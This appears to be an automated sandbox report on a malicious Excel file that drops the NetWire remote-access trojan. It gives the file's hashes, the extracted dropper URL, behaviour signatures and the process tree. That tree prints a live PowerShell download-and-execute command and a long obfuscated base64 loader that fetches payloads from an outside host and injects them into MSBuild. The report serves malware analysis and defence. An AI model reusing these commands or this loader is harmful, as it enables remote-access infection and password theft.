Overview

overview

10

Static

static

8

290546249.xls

windows7_x64

10

290546249.xls

windows10_x64

10

Analysis

  • max time kernel
    140s
  • max time network
    135s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    15/07/2020, 12:44

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General

  • Target
    290546249.xls
  • Size 411KB
  • Sample200715-c3dvrvtydj
  • SHA256 b2159f5f6752404355be70f1b882482c9996f0c4e809b565a1b1ce8705348d88
  • MD5 SHA1 SHA512
Score
10/10
ratbotnetstealernetwire

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • ps1.dropper

    http://spacemantra.biz/blyat.jpeg

Signatures

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Blacklisted process makes network request 2 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Netwire

    Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.

    botnetstealernetwire
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • NetWire RAT payload 2 IoCs
    rat
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\290546249.xls"
    1⤵
    • Checks processor information in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    PID:1616
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://spacemantra.biz/blyat.jpeg')
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Blacklisted process makes network request
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • Process spawned unexpected child process
      PID:3864
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -w 1 /e JABYAHcAIAA9ACAAJwBNAHUAZwBwAGoAcwBjAFcAQgAnADsACgAkAFAAcwBiAGIAWQBWAGwAYgBrACAAPQAgACgAJwB7ADIAfQB7ADAAfQB7ADEAfQB7ADMAfQAnAC0AZgAnAGQAUwB0ACcALAAnAHIAaQBuACcALAAcIGAARABgAG8AYAB3AG4AYABsAGAAbwBhAB0gLAAnAGcAJwApADsAWwB2AG8AaQBkAF0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkAFcAaQB0AGgAUABhAHIAdABpAGEAbABOAGEAbQBlACgAJwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAnACkAOwAkAFQAUwBRAG4AQgB6AEkAQgBhAGUAWgBzAEgAbgBIAG8AaQBRAGIAbwBPAHUAVgBtAFAAUABwAE8ARABvAGYAZwBEAEQAUgBPAEYAZgBBAHYASgBhAHQAWABlAGcAeAB3AG4AWgBpAGsAdABwAG0AbgBDAHEARgBoAGwATQBpAHAASgBZAFEAVgBDAHkAegBTAEkAcQBjAGYAZQB3AHYAagA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAUABzAGIAYgBZAFYAbABiAGsALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBzAHAAYQBjAGUAbQBhAG4AdAByAGEALgBiAGkAegAvAHIAbgBwAC4AdAB4AHQAJwApAC4AUgBlAHAAbABhAGMAZQAoACIAXgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAKgAiACwAIAAiADQAOAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAjACMAIgAsACAAIgA3ADgAIgApAHwASQBFAFgAOwBbAEIAeQB0AGUAWwBdAF0AJABUAFMAUQBuAEIAegBJAEIAYQBlAFoAcwBIAG4ASABvAGkAUQBiAG8ATwB1AFYAbQBQAFAAcABPAEQAbwBmAGcARABEAFIATwBGAGYAQQB2AEoAYQB0AFgAZQBnAHgAdwBuAFoAaQBrAHQAcABtAG4AQwBxAEYAaABsAE0AaQBwAEoAWQBRAFYAQwB5AHoAUwBJAHEAYwBmAGUAdwB2AD0AWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEkAbgB0AGUAcgBhAGMAdABpAG8AbgBdADoAOgBDAGEAbABsAEIAeQBuAGEAbQBlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAHCBgAE4AYABlAGAAVABgAC4AYABXAGAAZQBgAEIAYABDAGAAbABgAGkAYABlAGAATgBgAFQAHSApACwAJABQAHMAYgBiAFkAVgBsAGIAawAsAFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBDAGEAbABsAFQAeQBwAGUAXQA6ADoATQBlAHQAaABvAGQALAAnAGgAdAB0ACcAKwBbAEMAaABhAHIAXQA4ADAAKwAnACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHMAcABhAGMAZQBtAGEAbgB0AHIAYQAuAGIAaQB6AC8AbQBhAGkAbgAuAHQAeAB0ACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnAEAAJwAsACcAMAB4ACcAKQB8AEkARQBYADsAWwBDAC4ATQBdADoAOgBSACgAJwBNAFMAQgB1AGkAbABkAC4AZQB4AGUAJwAsACQAVABTAFEAbgBCAHoASQBCAGEAZQBaAHMASABuAEgAbwBpAFEAYgBvAE8AdQBWAG0AUABQAHAATwBEAG8AZgBnAEQARABSAE8ARgBmAEEAdgBKAGEAdABYAGUAZwB4AHcAbgBaAGkAawB0AHAAbQBuAEMAcQBGAGgAbABNAGkAcABKAFkAUQBWAEMAeQB6AFMASQBxAGMAZgBlAHcAdgApAA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Blacklisted process makes network request
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        • Suspicious use of SetThreadContext
        PID:1440
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          4⤵
            PID:3788
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            4⤵
              PID:3796

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            memory/3796-2-0x0000000000400000-0x0000000000433000-memory.dmp
            Download

            memory/3796-4-0x0000000000400000-0x0000000000433000-memory.dmp
            Download